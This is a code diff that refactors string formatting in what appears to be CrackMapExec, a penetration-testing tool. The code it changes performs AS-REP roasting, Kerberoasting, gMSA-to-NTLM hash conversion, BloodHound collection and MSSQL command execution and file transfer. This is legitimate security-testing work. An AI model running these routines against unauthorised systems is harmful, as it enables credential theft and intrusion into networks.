@ -851,38 +780,38 @@ class ldap(connection):
description = ''
pwdLastSet = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
for attribute in item["attributes"]:
if str(attribute["type"]) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
elif str(attribute['type']) == 'description':
elif str(attribute["type"]) == 'description':
description = str(attribute['vals'][0])
self.logger.highlight('{:<30} {}'.format(sAMAccountName, description))
self.logger.highlight(f"{sAMAccountName:<30} {description}")
except Exception as e:
self.cme_logger.debug('Skipping item, cannot process due to error %s' % str(e))
self.cme_logger.debug(f"Skipping item, cannot process due to error {e}")
pass
return
def groups(self):
# Building the search filter
search_filter = "(objectCategory=group)"
attributes = ['name']
attributes = ["name"]
resp = self.search(search_filter, attributes, 0)
if resp:
answers = []
self.logger.debug('Total of records returned %d' % len(resp))
self.logger.debug(f"Total of records returned {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
name = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'name':
name = str(attribute['vals'][0])
self.logger.highlight('{}'.format(name))
for attribute in item["attributes"]:
if str(attribute["type"]) == "name":
name = str(attribute["vals"][0])
self.logger.highlight(f"{name}")
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
self.logger.debug(f"Skipping item, cannot process due to error {e}")
pass
return
@ -893,13 +822,13 @@ class ldap(connection):
search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
resp = self.search(search_filter, attributes, 0)
if resp == []:
self.logger.highlight("No entries found!")
elif resp:
answers = []
self.logger.display('Total of records returned %d' % len(resp))
self.logger.display(f"Total of records returned {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
@ -911,35 +840,35 @@ class ldap(connection):
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
elif str(attribute["type"]) == "userAccountControl":
userAccountControl = "0x%x" % int(attribute["vals"][0])
elif str(attribute["type"]) == "memberOf":
memberOf = str(attribute["vals"][0])
elif str(attribute["type"]) == "pwdLastSet":
if str(attribute["vals"][0]) == "0":
pwdLastSet = "<never>"
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
elif str(attribute["type"]) == "lastLogon":
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
self.logger.debug(f"Skipping item, cannot process due to error {e}")
pass
if len(answers)>0:
for user in answers:
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
self.logger.highlight(u'{}'.format(hash_TGT))
with open(self.args.asreproast, 'a+') as hash_asreproast:
self.logger.highlight(f"{hash_TGT}")
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n')
return True
else:
@ -1020,19 +949,25 @@ class ldap(connection):
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain,
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
principalName,
self.domain,
self.kdcHost,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
TGT["KDC_REP"],
TGT["cipher"],
TGT["sessionKey"]
)
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName)
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
self.logger.highlight(u'{}'.format(r))
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
hash_kerberoasting.write(r + '\n')
self.logger.highlight(
f"sAMAccountName: {sAMAccountName} memberOf: {memberOf} pwdLastSet: {pwdLastSet} lastLogon:{lastLogon}"
)
self.logger.highlight(f"{r}")
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
hash_kerberoasting.write(r + "\n")
dejavue.append(sAMAccountName)
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
cme_logger.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
cme_logger.error(f"Principal: {downLevelLogonName} - {e}")
return True
else:
self.logger.highlight("No entries found!")
@ -1042,45 +977,45 @@ class ldap(connection):
def trusted_for_delegation(self):
# Building the search filter
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
attributes = ["sAMAccountName", "pwdLastSet", "MemberOf", "userAccountControl", "lastLogon"]
resp = self.search(searchFilter, attributes, 0)
answers = []
self.logger.debug('Total of records returned %d' % len(resp))
self.logger.debug(f"Total of records returned {len(resp):d}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
sAMAccountName = ""
memberOf = ""
pwdLastSet = ""
userAccountControl = 0
lastLogon = 'N/A'
lastLogon = "N/A"
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
elif str(attribute["type"]) == "userAccountControl":
userAccountControl = "0x%x" % int(attribute["vals"][0])
elif str(attribute["type"]) == "memberOf":
memberOf = str(attribute["vals"][0])
elif str(attribute["type"]) == "pwdLastSet":
if str(attribute["vals"][0]) == "0":
pwdLastSet = "<never>"
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
elif str(attribute["type"]) == "lastLogon":
if str(attribute["vals"][0]) == "0":
lastLogon = "<never>"
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute["vals"][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
self.logger.debug(f"Skipping item, cannot process due to error {e}")
pass
if len(answers)>0:
self.logger.debug(answers)
@ -1233,7 +1168,7 @@ class ldap(connection):
ntlm_hash = MD4.new ()
ntlm_hash.update (currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight("Account: {:<20} NTLM: {}".format(sAMAccountName, passwd))
self.logger.highlight(f"Account: {sAMAccountName:<20} NTLM: {passwd}")
return True
def decipher_gmsa_name(self, domain_name=None, account_name=None):
@ -1253,27 +1188,31 @@ class ldap(connection):
def gmsa_convert_id(self):
if self.args.gmsa_convert_id:
if len(self.args.gmsa_convert_id) != 64:
context.log.fail("Length of the gmsa id not correct :'(")
self.logger.fail("Length of the gmsa id not correct :'(")
else:
# getting the gmsa account
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
searchFilter=search_filter,
attributes=['sAMAccountName'],
sizeLimit=0,
searchBase=self.baseDN)
searchBase=self.baseDN
)
if gmsa_accounts:
answers = []
self.logger.debug('Total of records returned %d' % len(gmsa_accounts))
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for item in gmsa_accounts:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ''
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
self.logger.highlight("Account: {:<20} ID: {}".format(sAMAccountName, self.args.gmsa_convert_id))
sAMAccountName = ""
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == self.args.gmsa_convert_id:
self.logger.highlight(
f"Account: {sAMAccountName:<20} ID: {self.args.gmsa_convert_id}"
)
break
else:
context.log.fail("No string provided :'(")
@ -1285,46 +1224,48 @@ class ldap(connection):
gmsa_id = gmsa[0]
gmsa_pass = gmsa[1]
# getting the gmsa account
search_filter = '(objectClass=msDS-GroupManagedServiceAccount)'
gmsa_accounts = self.ldapConnection.search(searchFilter=search_filter,
attributes=['sAMAccountName'],
search_filter = "(objectClass=msDS-GroupManagedServiceAccount)"
gmsa_accounts = self.ldapConnection.search(
searchFilter=search_filter,
attributes=["sAMAccountName"],
sizeLimit=0,
searchBase=self.baseDN)
searchBase=self.baseDN
)
if gmsa_accounts:
answers = []
self.logger.debug('Total of records returned %d' % len(gmsa_accounts))
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
for item in gmsa_accounts:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ''
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
if self.decipher_gmsa_name(self.domain.split('.')[0], sAMAccountName[:-1]) == gmsa_id:
sAMAccountName = ""
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
if self.decipher_gmsa_name(self.domain.split(".")[0], sAMAccountName[:-1]) == gmsa_id:
gmsa_id = sAMAccountName
break
# convert to ntlm
data = bytes.fromhex(gmsa_pass)
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(data)
currentPassword = blob['CurrentPassword'][:-2]
currentPassword = blob["CurrentPassword"][:-2]
ntlm_hash = MD4.new ()
ntlm_hash.update (currentPassword)
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight("Account: {:<20} NTLM: {}".format(gmsa_id, passwd))
passwd = hexlify(ntlm_hash.digest()).decode('utf-8')
self.logger.highlight(f"Account: {gmsa_id:<20} NTLM: {passwd}")
else:
context.log.fail("No string provided :'(")
self.logger.fail("No string provided :'(")
def bloodhound(self):
auth = ADAuthentication(username=self.username, password=self.password, domain=self.domain, lm_hash=self.nthash, nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method='auto')
ad = AD(auth=auth, domain=self.domain, nameserver=self.args.nameserver, dns_tcp=False, dns_timeout=3)
collect = resolve_collection_methods('Default' if not self.args.collection else self.args.collection)
collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection)
if not collect:
return
self.logger.highlight('Resolved collection methods: %s', ', '.join(list(collect)))
self.logger.highlight("Resolved collection methods: %s", ', '.join(list(collect)))
self.logger.debug('Using DNS to retrieve domain information')
self.logger.debug("Using DNS to retrieve domain information")
ad.dns_resolve(domain=self.domain)
if self.args.kerberos:
@ -1347,9 +1288,9 @@ class ldap(connection):
exclude_dcs=False
)
self.logger.highlight("Compressing output into " + self.output_filename + "bloodhound.zip")
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
list_of_files = os.listdir(os.getcwd())
with ZipFile(self.output_filename + "bloodhound.zip", 'w') as z:
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
for each_file in list_of_files:
if each_file.startswith(timestamp) and each_file.endswith("json"):
z.write(each_file)

View File

@ -62,115 +62,102 @@ class LDAPConnect:
ldapConnection.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdc, useCache=False)
# Connect to LDAP
out = f"{domain}{username}:{password if password else ntlm_hash}"
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % kdc, baseDN)
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdc}", baseDN)
ldapConnection.login(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdc, useCache=False)
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
self.logger.error(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color='magenta' if errorCode in ldap_error_status else 'red')
else:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
self.logger.error(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color='magenta' if errorCode in ldap_error_status else 'red')
return False
except OSError as e:
self.logger.debug(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
self.logger.debug(
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
)
return False
except KerberosError as e:
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
str(e)),
self.logger.error(
f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}",
color='red')
return False
def plaintext_login(self, domain, username, password, ntlm_hash):
lmhash = ''
nthash = ''
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
if ntlm_hash and ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
if ntlm_hash and ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
elif ntlm_hash:
nthash = ntlm_hash
# Create the baseDN
baseDN = ''
domainParts = domain.split('.')
domainParts = domain.split(".")
for i in domainParts:
baseDN += 'dc=%s,' % i
baseDN += f"dc={i},"
# Remove last ','
baseDN = baseDN[:-1]
try:
ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % domain, baseDN, domain)
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
# Connect to LDAP
out = u'{}{}:{}'.format('{}\\'.format(domain),
out = u"{}{}:{}".format(
f'{domain}\\',
username,
password if password else ntlm_hash)
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
self.logger.extra["protocol"] = "LDAP"
self.logger.extra["port"] = "389"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
print(str(e))
if str(e).find('strongerAuthRequired') >= 0:
if str(e).find("strongerAuthRequired") >= 0:
# We need to try SSL
try:
ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % domain, baseDN, domain)
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain)
ldapConnection.login(username, password, domain, lmhash, nthash)
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
self.logger.extra["protocol"] = "LDAPS"
self.logger.extra["port"] = "636"
# self.logger.success(out)
return ldapConnection
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
self.logger.error(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red"
)
else:
print(str(e))
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
self.logger.error(
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
color="magenta" if errorCode in ldap_error_status else "red"
)
return False
except OSError as e:
self.logger.debug(u'{}\\{}:{} {}'.format(domain,
username,
password if password else ntlm_hash,
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
self.logger.debug(
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
)
return False

View File

@ -112,7 +112,7 @@ class mssql(connection):
self.domain = self.hostname
except Exception as e:
self.logger.info("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
self.logger.info(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
self.mssql_instances = self.conn.getInstances(0)
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
@ -124,11 +124,7 @@ class mssql(connection):
def print_host_info(self):
self.logger.display(
u"{} (name:{}) (domain:{})".format(
self.server_os,
self.hostname,
self.domain
)
f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})"
)
# if len(self.mssql_instances) > 0:
# self.logger.display("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
@ -158,7 +154,7 @@ class mssql(connection):
else:
return False
except Exception as e:
self.logger.fail('Error calling check_if_admin(): {}'.format(e))
self.logger.fail(f"Error calling check_if_admin(): {e}")
return False
return True
@ -203,12 +199,12 @@ class mssql(connection):
self.domain = domain
self.check_if_admin()
out = u'{}{}{} {}'.format(
'{}\\'.format(domain) if not self.args.local_auth else '',
out = u"{}{}{} {}".format(
f'{domain}\\' if not self.args.local_auth else '',
username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
self.logger.success(out)
if not self.args.local_auth:
@ -216,11 +212,11 @@ class mssql(connection):
if not self.args.continue_on_success:
return True
except Exception as e:
self.logger.fail(u'{}\\{}{} {}'.format('{}\\'.format(domain) if not self.args.local_auth else '',
self.logger.fail(
u"{}\\{}{} {}".format(
f'{domain}\\' if not self.args.local_auth else '',
username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache
else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
" from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
e))
return False
@ -241,16 +237,16 @@ class mssql(connection):
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential('plaintext', domain, username, password)
self.db.add_credential("plaintext", domain, username, password)
if self.admin_privs:
self.db.add_admin_user('plaintext', domain, username, password, self.host)
self.db.add_admin_user("plaintext", domain, username, password, self.host)
out = u'{}{}:{} {}'.format(
'{}\\'.format(domain) if not self.args.local_auth else '',
out = u"{}{}:{} {}".format(
f'{domain}\\' if not self.args.local_auth else '',
username,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
self.logger.success(out)
if not self.args.local_auth:
@ -260,21 +256,18 @@ class mssql(connection):
except BrokenPipeError as e:
self.logger.fail(f"Broken Pipe Error while attempting to login")
except Exception as e:
self.logger.fail(u'{}\\{}:{} {}'.format(
domain,
username,
password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e)
self.logger.fail(
f"{domain}\\{username}:{password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {e}"
)
return False
def hash_login(self, domain, username, ntlm_hash):
lmhash = ''
nthash = ''
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
else:
nthash = ntlm_hash
@ -306,11 +299,11 @@ class mssql(connection):
if self.admin_privs:
self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)
out = u'{}\\{} {} {}'.format(
out = u"{}\\{} {} {}".format(
domain,
username,
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
)
self.logger.success(out)
if not self.args.local_auth:
@ -320,11 +313,8 @@ class mssql(connection):
except BrokenPipeError as e:
self.logger.fail(f"Broken Pipe Error while attempting to login")
except Exception as e:
self.logger.fail(u'{}\\{}:{} {}'.format(
domain,
username,
ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e)
self.logger.fail(
f"{domain}\\{username}:{ntlm_hash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8} {e}"
)
return False
@ -342,19 +332,19 @@ class mssql(connection):
payload = self.args.execute
if not self.args.no_output: get_output = True
self.logger.info('Command to execute:\n{}'.format(payload))
self.logger.info(f"Command to execute:\n{payload}")
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, get_output)
self.logger.info('Executed command via mssqlexec')
self.logger.info("Executed command via mssqlexec")
if hasattr(self, 'server'):
if hasattr(self, "server"):
self.server.track_host(self.host)
output = u'{}'.format(raw_output)
output = f"{raw_output}"
if self.args.execute or self.args.ps_execute:
#self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
self.logger.success('Executed command via mssqlexec')
self.logger.success("Executed command via mssqlexec")
buf = StringIO(output).readlines()
for line in buf:
if line.strip() != '':
@ -374,29 +364,29 @@ class mssql(connection):
@requires_admin
def put_file(self):
self.logger.display('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
with open(self.args.put_file[0], 'rb') as f:
self.logger.display(f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}")
with open(self.args.put_file[0], "rb") as f:
try:
data = f.read()
self.logger.display('Size is {} bytes'.format(len(data)))
self.logger.display(f"Size is {len(data)} bytes")
exec_method = MSSQLEXEC(self.conn)
exec_method.put_file(data, self.args.put_file[1])
if exec_method.file_exists(self.args.put_file[1]):
self.logger.success('File has been uploaded on the remote machine')
self.logger.success("File has been uploaded on the remote machine")
else:
self.logger.fail('File does not exist on the remote system.. erorr during upload')
self.logger.fail("File does not exist on the remote system... error during upload")
except Exception as e:
self.logger.fail('Error during upload : {}'.format(e))
self.logger.fail(f"Error during upload : {e}")
@requires_admin
def get_file(self):
self.logger.display('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
self.logger.display(f"Copy {self.args.get_file[0]} to {self.args.get_file[1]}")
try:
exec_method = MSSQLEXEC(self.conn)
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
self.logger.success(f"File {self.args.get_file[0]} was transferred to {self.args.get_file[1]}")
except Exception as e:
self.logger.fail('Error reading file {}: {}'.format(self.args.get_file[0], e))
self.logger.fail(f"Error reading file {self.args.get_file[0]}: {e}")
# We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
@ -404,35 +394,43 @@ class mssql(connection):
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
if key['TokenType'] == TDS_ERROR_TOKEN:
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
self.lastError = SQLErrorException(
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
self._MSSQL__rowsPrinter.error(error)
elif key['TokenType'] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
elif key["TokenType"] == TDS_INFO_TOKEN:
self._MSSQL__rowsPrinter.info(
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
)
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self._MSSQL__rowsPrinter.info(
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
)
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
if record['OldValue'] == '':
record['OldValue'] = 'None'.encode('utf-16le')
elif record['NewValue'] == '':
record['NewValue'] = 'None'.encode('utf-16le')
if key['Type'] == TDS_ENVCHANGE_DATABASE:
_type = 'DATABASE'
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
_type = 'LANGUAGE'
elif key['Type'] == TDS_ENVCHANGE_CHARSET:
_type = 'CHARSET'
elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
_type = 'PACKETSIZE'
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
if record["OldValue"] == "":
record["OldValue"] = "None".encode('utf-16le')
elif record["NewValue"] == '':
record["NewValue"] = "None".encode('utf-16le')
if key["Type"] == TDS_ENVCHANGE_DATABASE:
_type = "DATABASE"
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
_type = "LANGUAGE"
elif key["Type"] == TDS_ENVCHANGE_CHARSET:
_type = "CHARSET"
elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE:
_type = "PACKETSIZE"
else:
_type = "%d" % key['Type']
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
_type = f"{key['Type']:d}"
self._MSSQL__rowsPrinter.info(
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
)
tds.MSSQL.printReplies = printRepliesCME

View File

@ -186,13 +186,9 @@ class database:
results = self.conn.execute(q) # .first()
# user_rowid = results.id
cme_logger.debug('add_credential(credtype={}, domain={}, username={}, password={}, pillaged_from={})'.format(
credtype,
domain,
username,
password,
pillaged_from
))
cme_logger.debug(
f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})"
)
return user_rowid
def remove_credentials(self, creds_id):

View File

@ -13,11 +13,11 @@ class MSSQLEXEC:
def execute(self, command, output=False):
try:
